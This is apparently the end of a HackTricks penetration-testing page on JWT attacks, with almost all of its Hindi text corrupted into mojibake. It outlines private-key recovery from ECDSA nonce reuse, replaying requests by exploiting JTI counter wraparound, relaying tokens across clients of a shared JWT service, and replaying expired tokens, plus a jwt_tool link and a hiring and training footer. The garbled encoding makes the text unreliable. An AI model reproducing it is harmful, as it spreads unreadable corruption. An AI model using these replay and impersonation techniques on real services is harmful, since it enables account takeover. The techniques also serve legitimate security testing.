рдпрджрд┐ рдХреБрдЫ рдЕрдиреБрдкреНрд░рдпреЛрдЧ ES256 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рджреЛ jwts рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдорд╛рди nonce рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдирд┐рдЬреА рдХреБрдВрдЬреА рдХреЛ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
рдпрд╣рд╛рдБ рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╣реИ: ECDSA: рдпрджрд┐ рд╕рдорд╛рди nonce рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ (SECP256k1 рдХреЗ рд╕рд╛рде) рддреЛ рдирд┐рдЬреА рдХреБрдВрдЬреА рдХрд╛ рдЦреБрд▓рд╛рд╕рд╛ рдХрд░рдирд╛
JTI (JWT ID)
JTI (JWT ID) рджрд╛рд╡рд╛ рдПрдХ JWT рдЯреЛрдХрди рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрджреНрд╡рд┐рддреАрдп рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЯреЛрдХрди рдХреЛ рдкреБрдирдГ рдЦреЗрд▓рдиреЗ рд╕реЗ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
рд╣рд╛рд▓рд╛рдВрдХрд┐, рдПрдХ рд╕реНрдерд┐рддрд┐ рдХреА рдХрд▓реНрдкрдирд╛ рдХрд░реЗрдВ рдЬрд╣рд╛рдБ ID рдХреА рдЕрдзрд┐рдХрддрдо рд▓рдВрдмрд╛рдИ 4 рд╣реИ (0001-9999)ред рдЕрдиреБрд░реЛрдз 0001 рдФрд░ 10001 рд╕рдорд╛рди ID рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдмреИрдХрдПрдВрдб рдкреНрд░рддреНрдпреЗрдХ рдЕрдиреБрд░реЛрдз рдкрд░ ID рдХреЛ рдмрдврд╝рд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдПрдХ рдЕрдиреБрд░реЛрдз рдХреЛ рдкреБрдирдГ рдЦреЗрд▓рдирд╛ (рдкреНрд░рддреНрдпреЗрдХ рд╕рдлрд▓ рдкреБрдирдГ рдЦреЗрд▓ рдХреЗ рдмреАрдЪ 10000 рдЕрдиреБрд░реЛрдз рднреЗрдЬрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ)ред
JWT рдкрдВрдЬреАрдХреГрдд рджрд╛рд╡реЗ
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
рдЕрдиреНрдп рд╣рдорд▓реЗ
рдХреНрд░реЙрд╕-рд╕реЗрд╡рд╛ рд░рд┐рд▓реЗ рд╣рдорд▓реЗ
рдпрд╣ рджреЗрдЦрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдХреБрдЫ рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдЕрдкрдиреЗ рдЯреЛрдХрдиреЛрдВ рдХреЗ рдирд┐рд░реНрдорд╛рдг рдФрд░ рдкреНрд░рдмрдВрдзрди рдХреЗ рд▓рд┐рдП рдПрдХ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп JWT рд╕реЗрд╡рд╛ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреЗ рд╣реИрдВред рдРрд╕реЗ рдЙрджрд╛рд╣рд░рдг рджрд░реНрдЬ рдХрд┐рдП рдЧрдП рд╣реИрдВ рдЬрд╣рд╛рдБ рдПрдХ рдЧреНрд░рд╛рд╣рдХ рдХреЗ рд▓рд┐рдП JWT рд╕реЗрд╡рд╛ рджреНрд╡рд╛рд░рд╛ рдЙрддреНрдкрдиреНрди рдПрдХ рдЯреЛрдХрди рдХреЛ рдЙрд╕реА JWT рд╕реЗрд╡рд╛ рдХреЗ рджреВрд╕рд░реЗ рдЧреНрд░рд╛рд╣рдХ рджреНрд╡рд╛рд░рд╛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ред рдпрджрд┐ рдХрд┐рд╕реА рддреАрд╕рд░реЗ рдкрдХреНрд╖ рдХреА рд╕реЗрд╡рд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ JWT рдХрд╛ рдЬрд╛рд░реА рдХрд░рдирд╛ рдпрд╛ рдирд╡реАрдиреАрдХрд░рдг рджреЗрдЦрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЙрд╕ рд╕реЗрд╡рд╛ рдХреЗ рджреВрд╕рд░реЗ рдЧреНрд░рд╛рд╣рдХ рдкрд░ рдЙрд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо/рдИрдореЗрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдЦрд╛рддрд╛ рдмрдирд╛рдиреЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдХреА рдЬрд╛рдВрдЪ рдХреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдПред рдлрд┐рд░ рдкреНрд░рд╛рдкреНрдд рдЯреЛрдХрди рдХреЛ рд▓рдХреНрд╖реНрдп рдкрд░ рдПрдХ рдЕрдиреБрд░реЛрдз рдореЗрдВ рдкреБрдирдГ рдЦреЗрд▓рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП рдпрд╣ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдЗрд╕реЗ рд╕реНрд╡реАрдХрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
- рдЖрдкрдХреЗ рдЯреЛрдХрди рдХреЗ рд╕реНрд╡реАрдХрд╛рд░ рдХрд┐рдП рдЬрд╛рдиреЗ рд╕реЗ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╕рдорд╕реНрдпрд╛ рдХрд╛ рд╕рдВрдХреЗрдд рдорд┐рд▓ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЦрд╛рддреЗ рдХреА рдирдХрд▓ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╣ рдзреНрдпрд╛рди рд░рдЦрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рддреАрд╕рд░реЗ рдкрдХреНрд╖ рдХреЗ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдкрд░ рд╕рд╛рдЗрди рдЕрдк рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡реНрдпрд╛рдкрдХ рдкрд░реАрдХреНрд╖рдг рдХреА рдЕрдиреБрдорддрд┐ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рд╕рдХрддреА рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдПрдХ рдХрд╛рдиреВрдиреА рдЧреНрд░реЗ рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рдкреНрд░рд╡реЗрд╢ рдХрд░ рд╕рдХрддрд╛ рд╣реИред
рдЯреЛрдХрдиреЛрдВ рдХреА рд╕рдорд╛рдкреНрддрд┐ рдЬрд╛рдВрдЪ
рдЯреЛрдХрди рдХреА рд╕рдорд╛рдкреНрддрд┐ "exp" Payload рджрд╛рд╡рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЬрд╛рдВрдЪреА рдЬрд╛рддреА рд╣реИред рдпрд╣ рджреЗрдЦрддреЗ рд╣реБрдП рдХрд┐ JWT рдЕрдХреНрд╕рд░ рд╕рддреНрд░ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рдмрд┐рдирд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, рд╕рд╛рд╡рдзрд╛рдиреАрдкреВрд░реНрд╡рдХ рд╣реИрдВрдбрд▓рд┐рдВрдЧ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рдХрдИ рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рдХрд┐рд╕реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ JWT рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░рдирд╛ рдФрд░ рдкреБрдирдГ рдЦреЗрд▓рдирд╛ рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдирдХрд▓ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдХрд░ рд╕рдХрддрд╛ рд╣реИред JWT RFC JWT рдкреБрдирдГ рдЦреЗрд▓ рд╣рдорд▓реЛрдВ рдХреЛ рдХрдо рдХрд░рдиреЗ рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХрд░рддрд╛ рд╣реИ "exp" рджрд╛рд╡рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЯреЛрдХрди рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдорд╛рдкреНрддрд┐ рд╕рдордп рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЗрд╕ рдорд╛рди рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рдиреЗ рдФрд░ рд╕рдорд╛рдкреНрдд рдЯреЛрдХрдиреЛрдВ рдХреЛ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреБрдкреНрд░рдпреЛрдЧ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рдЬрд╛рдВрдЪ рдХрд╛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред рдпрджрд┐ рдЯреЛрдХрди рдореЗрдВ "exp" рджрд╛рд╡рд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ рдФрд░ рдкрд░реАрдХреНрд╖рдг рд╕рдордп рд╕реАрдорд╛рдПрдБ рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВ, рддреЛ рдЯреЛрдХрди рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдирд╛ рдФрд░ рд╕рдорд╛рдкреНрддрд┐ рд╕рдордп рдмреАрддрдиреЗ рдХреЗ рдмрд╛рдж рдЗрд╕реЗ рдкреБрдирдГ рдЦреЗрд▓рдирд╛ рд╕рд▓рд╛рд╣ рджреА рдЬрд╛рддреА рд╣реИред рдЯреЛрдХрди рдХреА рд╕рд╛рдордЧреНрд░реА, рдЬрд┐рд╕рдореЗрдВ рдЯрд╛рдЗрдорд╕реНрдЯреИрдореНрдк рдкрд╛рд░реНрд╕рд┐рдВрдЧ рдФрд░ рд╕рдорд╛рдкреНрддрд┐ рдЬрд╛рдВрдЪ (UTC рдореЗрдВ рдЯрд╛рдЗрдорд╕реНрдЯреИрдореНрдк) рд╢рд╛рдорд┐рд▓ рд╣реИ, jwt_tool рдХреЗ -R рдзреНрд╡рдЬ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрдврд╝реА рдЬрд╛ рд╕рдХрддреА рд╣реИред
- рдпрджрд┐ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдЕрднреА рднреА рдЯреЛрдХрди рдХреЛ рдорд╛рдиреНрдп рдХрд░рддрд╛ рд╣реИ, рддреЛ рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдЬреЛрдЦрд┐рдо рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдХрд╛ рдЕрд░реНрде рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдЯреЛрдХрди рдХрднреА рд╕рдорд╛рдкреНрдд рдирд╣реАрдВ рд╣реЛ рд╕рдХрддрд╛ред
рдЙрдкрдХрд░рдг
{% embed url="https://github.com/ticarpi/jwt_tool" %}
If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.